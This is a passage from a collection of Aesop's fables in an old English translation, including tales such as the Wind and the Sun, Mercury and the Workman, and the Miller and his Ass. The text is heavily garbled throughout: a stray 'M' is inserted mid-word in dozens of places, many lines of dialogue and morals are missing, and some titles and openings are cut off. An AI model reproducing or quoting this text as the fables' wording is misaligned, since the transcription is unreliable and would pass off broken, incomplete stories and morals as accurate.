of victory, the Wind called upon the Sun to see what he could do. The
Sun suddenly shone out with all his warmth. The Traveler no sooner felt
his genial rays than he took off one garment after another, and at last,
fairly overcome with heat, undressed and bathed in a stream that lay in
Persuasion is better than Force.
The Two Men Who Were Enemies
TWO MEN, deadly enemies to each other, were sailing in the same vessel.
o keep as far apart as possible, the one seated himself in
the stem, and the other in the prow of the ship. A violent storm arose,
and with the vessel in great danger of sinking, the one in the stern
inquired of the pilot which of the two ends of the ship would go down
first. On his replying that he supposed it would be the prow, the Man
Death would not be grievous to me, if I could only see my Enemy
The Gamecocks and the Partridge
A MAN had two Gamecocks in his poultry-M
yard. One day by chance he found
a tame Partridge for sale. He purchased it and brought it home to
be reared with his Gamecocks. When the Partridge was put into the
poultry-yard, they struck at it and followed it about, so that the
Partridge became grievously troubled and supposed that he was thus
evilly treated because he was a stranger. Not long afterwards he saw the
Cocks fighting together and not separating before one had well beaten
the other. He then said to himself,
I shall no longer distress myselM
at being struck at by these Gamecocks, when I see that they cannot even
refrain from quarreling with each other.
A FROG once upon a time came forth from his home in the marsh and
proclaimed to all the beasts that he was a learned physician, skilled
in the use of drugs and able to heal all diseases. A Fox asked him,
can you pretend to prescribe for others, when you are unable to heal
your own lame gait and wrinkled skin?
The Lion, the Wolf, and the Fox
ON, growing old, lay sick in his cave. All the beasts came to visit
their king, except the Fox. The Wolf therefore, thinking that he had
a capital opportunity, accused the Fox to the Lion of not paying any
respect to him who had the rule over them all and of not coming to visit
him. At that very moment the Fox came in and heard these last words of
the Wolf. The Lion roaring out in a rage against him, the Fox sought an
opportunity to defend himself and said,
And who of all those who have
enefited you so much as I, who have traveled from
place to place in every direction, and have sought and learnt from the
physicians the means of healing you?
 The Lion commanded him immediately
to tell him the cure, when he replied,
You must flay a wolf alive
and wrap his skin yet warm around you.
 The Wolf was at once taken and
flayed; whereon the Fox, turning to him, said with a smile,
have moved your master not to ill, but to good, will.
ME, a Dog curled up in as small a space as possible on
account of the cold, determined to make himself a house. However when
the summer returned again, he lay asleep stretched at his full length
and appeared to himself to be of a great size. Now he considered that
it would be neither an easy nor a necessary work to make himself such a
house as would accommodate him.
The Wolf and the Lion
ROAMING BY the mountainside at sundown, a Wolf saw his own shadow become
greatly extended and magnified, and heM
being of such an immense size and extending nearly an acre in length,
be afraid of the Lion? Ought I not to be acknowledged as King of all
the collected beasts?
 While he was indulging in these proud thoughts,
a Lion fell upon him and killed him. He exclaimed with a too late
Wretched me! this overestimation of myself is the cause of
The Birds, the Beasts, and the Bat
THE BIRDS waged war with the Beasts, and each were by turns tM
conquerors. A Bat, fearing the uncertain issues of the fight, always
fought on the side which he felt was the strongest. When peace was
proclaimed, his deceitful conduct was apparent to both combatants.
Therefore being condemned by each for his treachery, he was driven
forth from the light of day, and henceforth concealed himself in dark
hiding-places, flying always alone and at night.
The Spendthrift and the Swallow
A YOUNG MAN, a great spendthrift, had run through all his patrimony and
ut one good cloak left. One day he happened to see a Swallow, which
had appeared before its season, skimming along a pool and twittering
gaily. He supposed that summer had come, and went and sold his cloak.
Not many days later, winter set in again with renewed frost and cold.
When he found the unfortunate Swallow lifeless on the ground, he
Unhappy bird! what have you done? By thus appearing before the
springtime you have not only killed yourself, but you have wrought my
The Fox and the Lion
A FOX saw a Lion confined in a cage, and standing near him, bitterly
reviled him. The Lion said to the Fox,
It is not thou who revilest me;
but this mischance which has befallen me.
The Owl and the Birds
AN OWL, in her wisdom, counseled the Birds that when the acorn first
began to sprout, to pull it all up out of the ground and not allow it
to grow. She said acorns would produce mistletoe, from which an
irremediable poison, the bird-lime, would be extracted and by whiM
would be captured. The Owl next advised them to pluck up the seed of the
flax, which men had sown, as it was a plant which boded no good to them.
And, lastly, the Owl, seeing an archer approach, predicted that this
man, being on foot, would contrive darts armed with feathers which would
fly faster than the wings of the Birds themselves. The Birds gave no
credence to these warning words, but considered the Owl to be beside
herself and said that she was mad. But afterwards, finding her words
, they wondered at her knowledge and deemed her to be the
wisest of birds. Hence it is that when she appears they look to her
as knowing all things, while she no longer gives them advice, but in
solitude laments their past folly.
The Trumpeter Taken Prisoner
A TRUMPETER, bravely leading on the soldiers, was captured by the enemy.
He cried out to his captors,
Pray spare me, and do not take my life
without cause or without inquiry. I have not slain a single man of your
troop. I have no arms, and M
carry nothing but this one brass trumpet.
That is the very reason for which you should be put to death,
for, while you do not fight yourself, your trumpet stirs all the
AN ASS, having put on the Lion
s skin, roamed about in the forest and
amused himself by frightening all the foolish animals he met in his
wanderings. At last coming upon a Fox, he tried to frighten him also,
but the Fox no sooner heard the sound of his voicM
e than he exclaimed,
I might possibly have been frightened myself, if I had not heard your
The Sparrow and the Hare
A HARE pounced upon by an eagle sobbed very much and uttered cries like
a child. A Sparrow upbraided her and said,
Where now is thy remarkable
swiftness of foot? Why were your feet so slow?
 While the Sparrow was
thus speaking, a hawk suddenly seized him and killed him. The Hare was
comforted in her death, and expiring said,
Ah! you who so lately, when
ed yourself safe, exulted over my calamity, have now reason to
deplore a similar misfortune.
A FLEA thus questioned an Ox:
What ails you, that being so huge and
strong, you submit to the wrongs you receive from men and slave for
them day by day, while I, being so small a creature, mercilessly feed on
their flesh and drink their blood without stint?
not wish to be ungrateful, for I am loved and well cared for by men, and
they often pat my head anM
very patting which you like, whenever it happens to me, brings with it
my inevitable destruction.
The Goods and the Ills
ALL the Goods were once driven out by the Ills from that common share
which they each had in the affairs of mankind; for the Ills by reason
of their numbers had prevailed to possess the earth. The Goods wafted
themselves to heaven and asked for a righteous vengeance on their
persecutors. They entreated Jupiter that theyM
associated with the Ills, as they had nothing in common and could
not live together, but were engaged in unceasing warfare; and that an
indissoluble law might be laid down for their future protection. Jupiter
granted their request and decreed that henceforth the Ills should visit
the earth in company with each other, but that the Goods should one by
one enter the habitations of men. Hence it arises that Ills abound, for
they come not one by one, but in troops, and by no means singly: whilM
the Goods proceed from Jupiter, and are given, not alike to all, but
singly, and separately; and one by one to those who are able to discern
The Dove and the Crow
A DOVE shut up in a cage was boasting of the large number of young ones
which she had hatched. A Crow hearing her, said:
My good friend, cease
from this unseasonable boasting. The larger the number of your family,
the greater your cause of sorrow, in seeing them shut up in this
Mercury and the WorkmeM
A WORKMAN, felling wood by the side of a river, let his axe drop by
accident into a deep pool. Being thus deprived of the means of his
livelihood, he sat down on the bank and lamented his hard fate. Mercury
appeared and demanded the cause of his tears. After he told him his
misfortune, Mercury plunged into the stream, and, bringing up a golden
axe, inquired if that were the one he had lost. On his saying that
it was not his, Mercury disappeared beneath the water a second time,
returned with a silver axeM
 in his hand, and again asked the Workman if
it were his. When the Workman said it was not, he dived into the pool
for the third time and brought up the axe that had been lost. The
Workman claimed it and expressed his joy at its recovery. Mercury,
pleased with his honesty, gave him the golden and silver axes in
addition to his own. The Workman, on his return to his house, related
to his companions all that had happened. One of them at once resolved
to try and secure the same good fortune for himself. He ran M
and threw his axe on purpose into the pool at the same place, and sat
down on the bank to weep. Mercury appeared to him just as he hoped
he would; and having learned the cause of his grief, plunged into the
stream and brought up a golden axe, inquiring if he had lost it. The
Workman seized it greedily, and declared that truly it was the very same
axe that he had lost. Mercury, displeased at his knavery, not only
took away the golden axe, but refused to recover for him the axe he had
The Eagle and the Jackdaw
AN EAGLE, flying down from his perch on a lofty rock, seized upon a
lamb and carried him aloft in his talons. A Jackdaw, who witnessed the
capture of the lamb, was stirred with envy and determined to emulate the
strength and flight of the Eagle. He flew around with a great whir of
his wings and settled upon a large ram, with the intention of carrying
him off, but his claws became entangled in the ram
not able to release himself, although hM
e fluttered with his feathers
as much as he could. The shepherd, seeing what had happened, ran up and
caught him. He at once clipped the Jackdaw
s wings, and taking him home
at night, gave him to his children. On their saying,
To my certain knowledge he is a Daw; but he
would like you to think an Eagle.
The Fox and the Crane
A FOX invited a Crane to supper and provided nothing for his
entertainment but some soup made of pulse, which was M
broad flat stone dish. The soup fell out of the long bill of the Crane
at every mouthful, and his vexation at not being able to eat afforded
the Fox much amusement. The Crane, in his turn, asked the Fox to sup
with him, and set before her a flagon with a long narrow mouth, so that
he could easily insert his neck and enjoy its contents at his leisure.
The Fox, unable even to taste it, met with a fitting requital, after the
fashion of her own hospitality.
Jupiter, Neptune, Minerva, aM
ACCORDING to an ancient legend, the first man was made by Jupiter, the
first bull by Neptune, and the first house by Minerva. On the completion
of their labors, a dispute arose as to which had made the most perfect
work. They agreed to appoint Momus as judge, and to abide by his
decision. Momus, however, being very envious of the handicraft of each,
found fault with all. He first blamed the work of Neptune because he had
not made the horns of the bull below his eyes, so he might better see
to strike. He then condemned the work of Jupiter, because he had
not placed the heart of man on the outside, that everyone might read the
thoughts of the evil disposed and take precautions against the intended
mischief. And, lastly, he inveighed against Minerva because she had not
contrived iron wheels in the foundation of her house, so its inhabitants
might more easily remove if a neighbor proved unpleasant. Jupiter,
indignant at such inveterate faultfinding, drove him from his office of
judge, and expelledM
 him from the mansions of Olympus.
The Eagle and the Fox
AN EAGLE and a Fox formed an intimate friendship and decided to live
near each other. The Eagle built her nest in the branches of a tall
tree, while the Fox crept into the underwood and there produced her
young. Not long after they had agreed upon this plan, the Eagle, being
in want of provision for her young ones, swooped down while the Fox was
out, seized upon one of the little cubs, and feasted herself and her
brood. The Fox on her returnM
, discovered what had happened, but was
less grieved for the death of her young than for her inability to avenge
them. A just retribution, however, quickly fell upon the Eagle. While
hovering near an altar, on which some villagers were sacrificing a goat,
she suddenly seized a piece of the flesh, and carried it, along with a
burning cinder, to her nest. A strong breeze soon fanned the spark into
a flame, and the eaglets, as yet unfledged and helpless, were roasted
in their nest and dropped down dead at the bM
ottom of the tree. There, in
the sight of the Eagle, the Fox gobbled them up.
The Man and the Satyr
A MAN and a Satyr once drank together in token of a bond of alliance
being formed between them. One very cold wintry day, as they talked, the
Man put his fingers to his mouth and blew on them. When the Satyr
asked the reason for this, he told him that he did it to warm his hands
because they were so cold. Later on in the day they sat down to eat, and
the food prepared was quite scalding. The Man raiM
sed one of the dishes
a little towards his mouth and blew in it. When the Satyr again inquired
the reason, he said that he did it to cool the meat, which was too hot.
I can no longer consider you as a friend,
who with the same breath blows hot and cold.
The Ass and His Purchaser
A MAN wished to purchase an Ass, and agreed with its owner that he
should try out the animal before he bought him. He took the Ass home
and put him in the straw-yard with his other AsseM
s, upon which the new
animal left all the others and at once joined the one that was most idle
and the greatest eater of them all. Seeing this, the man put a halter
on him and led him back to his owner. On being asked how, in so short a
time, he could have made a trial of him, he answered,
trial; I know that he will be just the same as the one he chose for his
A man is known by the company he keeps.
EVERY MAN, according to an ancient legend, is bornM
 into the world with
two bags suspended from his neck all bag in front full of his neighbors
faults, and a large bag behind filled with his own faults. Hence it is
that men are quick to see the faults of others, and yet are often blind
to their own failings.
The Stag at the Pool
A STAG overpowered by heat came to a spring to drink. Seeing his own
shadow reflected in the water, he greatly admired the size and variety
of his horns, but felt angry with himself for having such slender and
t. While he was thus contemplating himself, a Lion appeared at
the pool and crouched to spring upon him. The Stag immediately took to
flight, and exerting his utmost speed, as long as the plain was smooth
and open kept himself easily at a safe distance from the Lion. But
entering a wood he became entangled by his horns, and the Lion quickly
came up to him and caught him. When too late, he thus reproached
Woe is me! How I have deceived myself! These feet which would
have saved me I despised, and IM
 gloried in these antlers which have
proved my destruction.
What is most truly valuable is often underrated.
The Jackdaw and the Fox
A HALF-FAMISHED JACKDAW seated himself on a fig-tree, which had produced
some fruit entirely out of season, and waited in the hope that the figs
would ripen. A Fox seeing him sitting so long and learning the reason
of his doing so, said to him,
You are indeed, sir, sadly deceiving
yourself; you are indulging a hope strong enough to cheat you, but which
never reward you with enjoyment.
The Lark Burying Her Father
THE LARK (according to an ancient legend) was created before the earth
itself, and when her father died, as there was no earth, she could find
no place of burial for him. She let him lie uninterred for five days,
and on the sixth day, not knowing what else to do, she buried him in her
own head. Hence she obtained her crest, which is popularly said to be
s first duty is reverence to parents.
The Gnat and the Bull
A GNAT settled on the horn of a Bull, and sat there a long time. Just
as he was about to fly off, he made a buzzing noise, and inquired of the
Bull if he would like him to go. The Bull replied,
had come, and I shall not miss you when you go away.
Some men are of more consequence in their own eyes than in the eyes of
The Bitch and Her Whelps
A BITCH, ready to whelp, earnestly begged a shepherd for a place where
er. When her request was granted, she besought permission
to rear her puppies in the same spot. The shepherd again consented. But
at last the Bitch, protected by the bodyguard of her Whelps, who had
now grown up and were able to defend themselves, asserted her exclusive
right to the place and would not permit the shepherd to approach.
The Dogs and the Hides
SOME DOGS famished with hunger saw a number of cowhides steeping in a
river. Not being able to reach them, they agreed to drink up the river,
but it happened that they burst themselves with drinking long before
they reached the hides.
Attempt not impossibilities.
The Shepherd and the Sheep
A SHEPHERD driving his Sheep to a wood, saw an oak of unusual size full
of acorns, and spreading his cloak under the branches, he climbed
up into the tree and shook them down. The Sheep eating the acorns
inadvertently frayed and tore the cloak. When the Shepherd came down
and saw what was done, he said,
O you most ungrateful creatures! You
de wool to make garments for all other men, but you destroy the
clothes of him who feeds you.
The Grasshopper and the Owl
AN OWL, accustomed to feed at night and to sleep during the day, was
greatly disturbed by the noise of a Grasshopper and earnestly besought
her to stop chirping. The Grasshopper refused to desist, and chirped
louder and louder the more the Owl entreated. When she saw that she
could get no redress and that her words were despised, the Owl attacked
the chatterer by a stratagM
Since I cannot sleep,
account of your song which, believe me, is sweet as the lyre of Apollo,
I shall indulge myself in drinking some nectar which Pallas lately gave
me. If you do not dislike it, come to me and we will drink it together.
 The Grasshopper, who was thirsty, and pleased with the praise of her
voice, eagerly flew up. The Owl came forth from her hollow, seized her,
and put her to death.
The Monkey and the Camel
THE BEASTS of the forest gave a splendid enterM
tainment at which the
Monkey stood up and danced. Having vastly delighted the assembly, he
sat down amidst universal applause. The Camel, envious of the praises
bestowed on the Monkey and desiring to divert to himself the favor
of the guests, proposed to stand up in his turn and dance for their
amusement. He moved about in so utterly ridiculous a manner that the
Beasts, in a fit of indignation, set upon him with clubs and drove him
out of the assembly.
It is absurd to ape our betters.
A PEASANT had in his garden an Apple-Tree which bore no fruit but only
served as a harbor for the sparrows and grasshoppers. He resolved to
cut it down, and taking his axe in his hand, made a bold stroke at its
roots. The grasshoppers and sparrows entreated him not to cut down the
tree that sheltered them, but to spare it, and they would sing to him
and lighten his labors. He paid no attention to their request, but gave
the tree a second and a third blow with his axe. When he reached thM
hollow of the tree, he found a hive full of honey. Having tasted the
honeycomb, he threw down his axe, and looking on the tree as sacred,
took great care of it.
Self-interest alone moves some men.
The Two Soldiers and the Robber
TWO SOLDIERS traveling together were set upon by a Robber. The one fled
away; the other stood his ground and defended himself with his stout
right hand. The Robber being slain, the timid companion ran up and drew
his sword, and then, throwing back his traveling cloak M
ll take care he shall learn whom he has attacked.
he who had fought with the Robber made answer,
I only wish that you
had helped me just now, even if it had been only with those words, for I
should have been the more encouraged, believing them to be true; but now
put up your sword in its sheath and hold your equally useless tongue,
till you can deceive others who do not know you. I, indeed, who have
experienced with what speed you run away, know right well that M
dependence can be placed on your valor.
The Trees Under the Protection of the Gods
THE GODS, according to an ancient legend, made choice of certain trees
to be under their special protection. Jupiter chose the oak, Venus the
myrtle, Apollo the laurel, Cybele the pine, and Hercules the poplar.
Minerva, wondering why they had preferred trees not yielding fruit,
inquired the reason for their choice. Jupiter replied,
should seem to covet the honor for the fruit.
anyone say what he will the olive is more dear to me on account of its
 Then said Jupiter,
My daughter, you are rightly called wise;
for unless what we do is useful, the glory of it is vain.
The Mother and the Wolf
A FAMISHED WOLF was prowling about in the morning in search of food. As
he passed the door of a cottage built in the forest, he heard a Mother
Be quiet, or I will throw you out of the window, and
the Wolf shall eat you.
 day waiting at the door. In
the evening he heard the same woman fondling her child and saying:
are quiet now, and if the Wolf should come, we will kill him.
hearing these words, went home, gasping with cold and hunger. When he
reached his den, Mistress Wolf inquired of him why he returned wearied
and supperless, so contrary to his wont. He replied:
I gave credence to the words of a woman!
The Ass and the Horse
AN ASS besought a Horse to spare him a smaM
ll portion of his feed.
if any remains out of what I am now eating I will give
it you for the sake of my own superior dignity, and if you will come
when I reach my own stall in the evening, I will give you a little sack
Thank you. But I can
you, who refuse me a little matter now, will by and by confer on me a
Truth and the Traveler
A WAYFARING MAN, traveling in the desert, met a woman standing M
and terribly dejected. He inquired of her,
city to dwell alone here in the wilderness?
in former times, falsehood was with few, but is now with all men.
A MAN committed a murder, and was pursued by the relations of the man
whom he murdered. On his reaching the river Nile he saw a Lion on its
bank and being fearfully afraid, climbed M
up a tree. He found a serpent
in the upper branches of the tree, and again being greatly alarmed, he
threw himself into the river, where a crocodile caught him and ate
him. Thus the earth, the air, and the water alike refused shelter to a
The Lion and the Fox
A FOX entered into partnership with a Lion on the pretense of becoming
his servant. Each undertook his proper duty in accordance with his own
nature and powers. The Fox discovered and pointed out the prey; the
Lion sprang on it andM
 seized it. The Fox soon became jealous of the Lion
carrying off the Lion
s share, and said that he would no longer find
out the prey, but would capture it on his own account. The next day he
attempted to snatch a lamb from the fold, but he himself fell prey to
the huntsmen and hounds.
The Lion and the Eagle
AN EAGLE stayed his flight and entreated a Lion to make an alliance with
him to their mutual advantage. The Lion replied,
I have no objection,
but you must excuse me for requiring you to M
find surety for your good
faith, for how can I trust anyone as a friend who is able to fly away
from his bargain whenever he pleases?
Try before you trust.
The Hen and the Swallow
A HEN finding the eggs of a viper and carefully keeping them warm,
nourished them into life. A Swallow, observing what she had done, said,
You silly creature! why have you hatched these vipers which, when they
shall have grown, will inflict injury on all, beginning with yourself?
The Buffoon and the CM
A RICH NOBLEMAN once opened the theaters without charge to the people,
and gave a public notice that he would handsomely reward any person who
invented a new amusement for the occasion. Various public performers
contended for the prize. Among them came a Buffoon well known among the
populace for his jokes, and said that he had a kind of entertainment
which had never been brought out on any stage before. This report being
spread about made a great stir, and the theater was crowded in every
The Buffoon appeared alone upon the platform, without any
apparatus or confederates, and the very sense of expectation caused
an intense silence. He suddenly bent his head towards his bosom and
imitated the squeaking of a little pig so admirably with his voice that
the audience declared he had a porker under his cloak, and demanded that
it should be shaken out. When that was done and nothing was found,
they cheered the actor, and loaded him with the loudest applause. A
Countryman in the crowd, observing all M
that has passed, said,
help me, Hercules, he shall not beat me at that trick!
proclaimed that he would do the same thing on the next day, though in a
much more natural way. On the morrow a still larger crowd assembled in
the theater, but now partiality for their favorite actor very generally
prevailed, and the audience came rather to ridicule the Countryman than
to see the spectacle. Both of the performers appeared on the stage.
The Buffoon grunted and squeaked away first, and obtained, M
preceding day, the applause and cheers of the spectators. Next the
Countryman commenced, and pretending that he concealed a little pig
beneath his clothes (which in truth he did, but not suspected by the
audience ) contrived to take hold of and to pull his ear causing the
pig to squeak. The Crowd, however, cried out with one consent that
the Buffoon had given a far more exact imitation, and clamored for the
Countryman to be kicked out of the theater. On this the rustic produced
the little pig fromM
 his cloak and showed by the most positive proof the
greatness of their mistake.
this shows what sort
The Crow and the Serpent
A CROW in great want of food saw a Serpent asleep in a sunny nook, and
flying down, greedily seized him. The Serpent, turning about, bit the
Crow with a mortal wound. In the agony of death, the bird exclaimed:
unhappy me! who have found in that which I deemed a happy windfall the
source of my destruction.
The Hunter and the Horseman
A CERTAIN HUNTER, having snared a hare, placed it upon his shoulders and
set out homewards. On his way he met a man on horseback who begged the
hare of him, under the pretense of purchasing it. However, when the
Horseman got the hare, he rode off as fast as he could. The Hunter
ran after him, as if he was sure of overtaking him, but the Horseman
increased more and more the distance between them. The Hunter, sorely
against his will, called out to him and said,
will now make you a present of the hare.
s Son and the Painted Lion
A KING, whose only son was fond of martial exercises, had a dream in
which he was warned that his son would be killed by a lion. Afraid the
dream should prove true, he built for his son a pleasant palace and
adorned its walls for his amusement with all kinds of life-sized
animals, among which was the picture of a lion. When the young Prince
saw this, his grief at being thus confined burst out afresh, and,
standing near the lion, he said:
O you most detestable of animals!
through a lying dream of my father
s, which he saw in his sleep, I am
shut up on your account in this palace as if I had been a girl: what
shall I now do to you?
 With these words he stretched out his hands
toward a thorn-tree, meaning to cut a stick from its branches so that he
might beat the lion. But one of the tree
s prickles pierced his finger
and caused great pain and inflammation, so that the young Prince fell
ng fit. A violent fever suddenly set in, from which he
died not many days later.
We had better bear our troubles bravely than try to escape them.
A CAT fell in love with a handsome young man, and entreated Venus to
change her into the form of a woman. Venus consented to her request and
transformed her into a beautiful damsel, so that the youth saw her and
loved her, and took her home as his bride. While the two were reclining
in their chamber, Venus wishing to discover if the CM
of shape had also altered her habits of life, let down a mouse in the
middle of the room. The Cat, quite forgetting her present condition,
started up from the couch and pursued the mouse, wishing to eat it.
Venus was much disappointed and again caused her to return to her former
Nature exceeds nurture.
The She-Goats and Their Beards
THE SHE-GOATS having obtained a beard by request to Jupiter, the
He-Goats were sorely displeased and made complaint that the females
honor and to assume the badge of your nobler sex, so long as they are
not your equals in strength or courage.
It matters little if those who are inferior to us in merit should be
like us in outside appearances.
The Camel and the Arab
AN ARAB CAMEL-DRIVER, after completing the loading of his Camel, asked
him which he would like best, to go up hill or down. The poor beast
replied, not without a touch of reason:
the level way through the desert is closed?
The Miller, His Son, and Their Ass
A MILLER and his son were driving their Ass to a neighboring fair to
sell him. They had not gone far when they met with a troop of women
collected round a well, talking and laughing.
did you ever see such fellows, to be trudging along the road on
foot when they might ride?
 The old man hearing this, quickly made his
son mount the Ass, and continued to walk alonM
g merrily by his side.
Presently they came up to a group of old men in earnest debate.
it proves what I was a-saying. What respect is shown
to old age in these days? Do you see that idle lad riding while his old
father has to walk? Get down, you young scapegrace, and let the old man
rest his weary limbs.
 Upon this the old man made his son dismount, and
got up himself. In this manner they had not proceeded far when they
met a company of women and children:
several tongues at once,
how can you ride upon the beast, while that
poor little lad there can hardly keep pace by the side of you?
good-natured Miller immediately took up his son behind him. They had now
almost reached the town.
Pray, honest friend,
 replied the old man.
O, one would not have
by the way you load him. Why, you two
fellows are better able to carry the poor beast thM
his son, they tied the legs of the Ass together and with the help of a
pole endeavored to carry him on their shoulders over a bridge near the
entrance to the town. This entertaining sight brought the people in
crowds to laugh at it, till the Ass, not liking the noise nor the
strange handling that he was subject to, broke the cords that bound him
and, tumbling off the pole, fell into the river. Upon this, thM
vexed and ashamed, made the best of his way home again, convinced that
by endeavoring to please everybody he had pleased nobody, and lost his
The Crow and the Sheep
A TROUBLESOME CROW seated herself on the back of a Sheep. The Sheep,
much against his will, carried her backward and forward for a long time,
If you had treated a dog in this way, you would have
had your deserts from his sharp teeth.
 To this the Crow replied,
 and yield to the strong. I know whom I may bully and
whom I must flatter; and I thus prolong my life to a good old age.
The Fox and the Bramble
A FOX was mounting a hedge when he lost his footing and caught hold of a
Bramble to save himself. Having pricked and grievously torn the soles of
his feet, he accused the Bramble because, when he had fled to her for
assistance, she had used him worse than the hedge itself. The Bramble,
interrupting him, said,
But you really must have been out of yourM
senses to fasten yourself on me, who am myself always accustomed to
The Wolf and the Lion
A WOLF, having stolen a lamb from a fold, was carrying him off to his
lair. A Lion met him in the path, and seizing the lamb, took it
from him. Standing at a safe distance, the Wolf exclaimed,
unrighteously taken that which was mine from me!
It was righteously yours, eh? The gift of a friend?
The Dog and the Oyster
 DOG, used to eating eggs, saw an Oyster and, opening his mouth to its
widest extent, swallowed it down with the utmost relish, supposing it to
be an egg. Soon afterwards suffering great pain in his stomach, he said,
I deserve all this torment, for my folly in thinking that everything
round must be an egg.
They who act without sufficient thought, will often fall into
The Ant and the Dove
AN ANT went to the bank of a river to quench its thirst, and being
 the rush of the stream, was on the point of drowning. A
Dove sitting on a tree overhanging the water plucked a leaf and let it
fall into the stream close to her. The Ant climbed onto it and floated
in safety to the bank. Shortly afterwards a birdcatcher came and stood
under the tree, and laid his lime-twigs for the Dove, which sat in the
branches. The Ant, perceiving his design, stung him in the foot. In pain
the birdcatcher threw down the twigs, and the noise made the Dove take
A FOWLER caught a Partridge and was about to kill it. The Partridge
earnestly begged him to spare his life, saying,
Pray, master, permit me
to live and I will entice many Partridges to you in recompense for your
 The Fowler replied,
I shall now with less scruple take
your life, because you are willing to save it at the cost of betraying
your friends and relations.
The Flea and the Man
A MAN, very much annoyed with a Flea, caught him at last, and said,
are you who dare to feed on my limbs, and to cost me so much trouble in
O my dear sir, pray spare my life,
and destroy me not, for I cannot possibly do you much harm.
Now you shall certainly die by mine own hands, for
no evil, whether it be small or large, ought to be tolerated.
The Thieves and the Cock
SOME THIEVES broke into a house and found nothing but a Cock, whom they
stole, and got off as fast as they could. Upon M
arriving at home they
prepared to kill the Cock, who thus pleaded for his life:
me; I am very serviceable to men. I wake them up in the night to their
That is the very reason why we must the more kill you,
for when you wake your neighbors, you entirely put an end to
The safeguards of virtue are hateful to those with evil intentions.
The Dog and the Cook
A RICH MAN gave a great feast, to which he invited many friends and
s. His Dog availed himself of the occasion to invite a
stranger Dog, a friend of his, saying,
My master gives a feast, and
there is always much food remaining; come and sup with me tonight.
Dog thus invited went at the hour appointed, and seeing the preparations
for so grand an entertainment, said in the joy of his heart,
I am that I came! I do not often get such a chance as this. I will take
care and eat enough to last me both today and tomorrow.
congratulating himself M
and wagging his tail to convey his pleasure to
his friend, the Cook saw him moving about among his dishes and, seizing
him by his fore and hind paws, bundled him without ceremony out of the
window. He fell with force upon the ground and limped away, howling
dreadfully. His yelling soon attracted other street dogs, who came up
to him and inquired how he had enjoyed his supper. He replied,
tell you the truth, I drank so much wine that I remember nothing. I do
not know how I got out of the house.
The Travelers and the Plane-Tree
TWO TRAVELERS, worn out by the heat of the summer
s sun, laid themselves
down at noon under the widespreading branches of a Plane-Tree. As they
rested under its shade, one of the Travelers said to the other,
singularly useless tree is the Plane! It bears no fruit, and is not of
the least service to man.
 The Plane-Tree, interrupting him, said,
ungrateful fellows! Do you, while receiving benefits from me and resting
under my shade, dare to descrM
ibe me as useless, and unprofitable?
Some men underrate their best blessings.
The Hares and the Frogs
THE HARES, oppressed by their own exceeding timidity and weary of the
perpetual alarm to which they were exposed, with one accord determined
to put an end to themselves and their troubles by jumping from a lofty
precipice into a deep lake below. As they scampered off in large numbers
to carry out their resolve, the Frogs lying on the banks of the lake
heard the noise of their feet and rushed M
helter-skelter to the deep
water for safety. On seeing the rapid disappearance of the Frogs, one of
the Hares cried out to his companions:
Stay, my friends, do not do as
you intended; for you now see that there are creatures who are still
more timid than ourselves.
The Lion, Jupiter, and the Elephant
THE LION wearied Jupiter with his frequent complaints.
that I am gigantic in strength, handsome in shape,
and powerful in attack. I have jaws well providM
ed with teeth, and feet
furnished with claws, and I lord it over all the beasts of the forest,
and what a disgrace it is, that being such as I am, I should be
frightened by the crowing of a cock.
me without a cause? I have given you all the attributes which I possess
myself, and your courage never fails you except in this one instance.
 On hearing this the Lion groaned and lamented very much and, reproaching
himself with his cowardice, wished that he might die. As tM
passed through his mind, he met an Elephant and came close to hold a
conversation with him. After a time he observed that the Elephant shook
his ears very often, and he inquired what was the matter and why his
ears moved with such a tremor every now and then. Just at that moment
a Gnat settled on the head of the Elephant, and he replied,
that little buzzing insect? If it enters my ear, my fate is sealed. I
should die presently.
Well, since so huge a beast is
afraid of a tiny gnat, I will no more complain, nor wish myself dead. I
find myself, even as I am, better off than the Elephant.
The Lamb and the Wolf
A WOLF pursued a Lamb, which fled for refuge to a certain Temple. The
Wolf called out to him and said,
The Priest will slay you in sacrifice,
if he should catch you.
 On which the Lamb replied,
for me to be sacrificed in the Temple than to be eaten by you.
The Rich Man and the Tanner
A RICH MAN lived near aM
 Tanner, and not being able to bear the
unpleasant smell of the tan-yard, he pressed his neighbor to go away.
The Tanner put off his departure from time to time, saying that he would
leave soon. But as he still continued to stay, as time went on, the
rich man became accustomed to the smell, and feeling no manner of
inconvenience, made no further complaints.
The Shipwrecked Man and the Sea
A SHIPWRECKED MAN, having been cast upon a certain shore, slept after
his buffetings with the deep. After a whM
ile he awoke, and looking upon
the Sea, loaded it with reproaches. He argued that it enticed men with
the calmness of its looks, but when it had induced them to plow its
waters, it grew rough and destroyed them. The Sea, assuming the form of
a woman, replied to him:
Blame not me, my good sir, but the winds, for
I am by my own nature as calm and firm even as this earth; but the winds
suddenly falling on me create these waves, and lash me into fury.
The Mules and the Robbers
en with packs were trudging along. One carried
panniers filled with money, the other sacks weighted with grain. The
Mule carrying the treasure walked with head erect, as if conscious of
the value of his burden, and tossed up and down the clear-toned bells
fastened to his neck. His companion followed with quiet and easy step.
All of a sudden Robbers rushed upon them from their hiding-places, and
in the scuffle with their owners, wounded with a sword the Mule carrying
the treasure, which they greedily seized wM
hile taking no notice of
the grain. The Mule which had been robbed and wounded bewailed his
misfortunes. The other replied,
I am indeed glad that I was thought so
little of, for I have lost nothing, nor am I hurt with any wound.
The Viper and the File
A LION, entering the workshop of a smith, sought from the tools the
means of satisfying his hunger. He more particularly addressed himself
to a File, and asked of him the favor of a meal. The File replied,
must indeed be a simple-minded M
fellow if you expect to get anything from
me, who am accustomed to take from everyone, and never to give anything
The Lion and the Shepherd
A LION, roaming through a forest, trod upon a thorn. Soon afterward he
came up to a Shepherd and fawned upon him, wagging his tail as if to
I am a suppliant, and seek your aid.
 The Shepherd boldly examined
the beast, discovered the thorn, and placing his paw upon his lap,
pulled it out; thus relieved of his pain, the Lion returned intoM
forest. Some time after, the Shepherd, being imprisoned on a false
accusation, was condemned
to be cast to the Lions
for his imputed crime. But when the Lion was released from his cage,
he recognized the Shepherd as the man who healed him, and instead of
attacking him, approached and placed his foot upon his lap. The King, as
soon as he heard the tale, ordered the Lion to be set free again in the
forest, and the Shepherd to be pardoned and restored to his friends.
THE CAMEL, when he saw the Bull adorned with horns, envied him and
wished that he himself could obtain the same honors. He went to Jupiter,
and besought him to give him horns. Jupiter, vexed at his request
because he was not satisfied with his size and strength of body, and
desired yet more, not only refused to give him horns, but even deprived
him of a portion of his ears.
The Panther and the Shepherds
